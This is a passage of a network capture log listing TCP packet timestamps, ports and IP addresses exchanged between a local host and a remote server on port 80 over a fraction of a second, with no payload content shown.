Oct 24, 2024 09:07:32.836127996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836131096 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836158991 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836191893 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836211920 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836227894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836260080 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836281061 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836301088 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836334944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836359024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836383104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836416006 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836436033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836457014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836468935 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836498976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836517096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836540937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836561918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836582899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836596966 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836617947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836637974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836651087 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836679935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836698055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836733103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836754084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836772919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836786985 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836818933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836836100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836869001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.836877108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836885929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.836911917 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.838382959 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.842573881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842626095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842633963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842715025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842722893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842737913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842747927 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.842767000 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842768908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.842782974 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842804909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.842889071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.842917919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842926979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842941999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842950106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842958927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842967987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842983961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.842991114 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.843007088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.843014002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843041897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843139887 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.843210936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843219042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843234062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843241930 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843256950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843267918 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843270063 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.843282938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843291044 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.843301058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843310118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843333960 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.843350887 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.843386889 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.847021103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.847040892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.847076893 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.847134113 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.847204924 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.863045931 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.877113104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877154112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877172947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877207041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877249002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877269030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877288103 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.877336979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877373934 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.877420902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877459049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877477884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877490997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877530098 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.877547026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877572060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877614021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.877641916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877660036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877691984 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.877733946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877756119 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877788067 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.877815962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877865076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877881050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877892971 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.877927065 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.877943039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.877985954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878025055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878041983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878079891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878083944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.878113985 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878158092 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.878185987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878206015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878240108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.878304958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.878328085 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878366947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878407001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878423929 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878457069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878477097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.878519058 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878540039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878576994 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878598928 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878616095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.878648043 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.878674030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878693104 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878724098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878741980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878753901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.878803968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878837109 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.878879070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878895998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878921032 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.878953934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.878972054 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.878995895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.879014015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.879029989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.879065037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.879086018 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.879106045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.879126072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.879142046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.879213095 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.918813944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.918834925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.918869019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.919173002 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.919348001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.948442936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948493958 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948546886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948565960 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948595047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948604107 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.948654890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.948731899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948751926 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948790073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948807955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948822021 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.948853970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948894978 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.948928118 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948945999 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.948971033 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949002028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949039936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949058056 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949070930 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949088097 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949136019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949152946 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949171066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949188948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949206114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949229002 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949229002 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949268103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949285030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949318886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949337959 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949359894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949372053 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949421883 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949459076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949462891 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949508905 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949563026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949575901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949614048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949641943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949661970 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949677944 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949698925 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949723005 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949760914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949779034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949829102 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949841976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949856997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949883938 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949923992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.949953079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.949980974 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950001955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950022936 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950054884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950072050 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950103998 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950124979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950148106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950169086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950210094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950239897 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950242996 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950268984 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950316906 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950341940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950345039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950387001 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950414896 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950432062 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950483084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950501919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950524092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950527906 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950558901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950582981 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950587034 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950618029 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950639009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950659990 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950680017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950714111 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950735092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950753927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950768948 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950814962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950831890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950846910 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950874090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950907946 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950927973 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.950968027 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.950989962 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951009035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951040983 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951059103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951078892 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951122046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951138020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951149940 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951190948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951194048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951221943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951261997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951278925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951293945 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951350927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951368093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951385975 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951412916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951431036 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951447964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951457977 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951487064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951507092 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951548100 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951564074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951597929 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951618910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951634884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951678991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951706886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951738119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951764107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951778889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951805115 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951807976 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951853037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.951883078 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951899052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951956034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.951968908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952002048 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952024937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952042103 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952064037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952080011 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952099085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952140093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952172995 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952193022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952213049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952240944 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952258110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952291012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952311993 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952353954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952378035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952382088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952403069 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952426910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952478886 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952529907 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952547073 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952563047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952579975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952611923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952634096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952656984 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952696085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952713013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952732086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952758074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952760935 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952783108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952810049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952846050 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:32.952869892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:32.952888966 CEST	80	49772	185.215.113.16	192.168.2.6
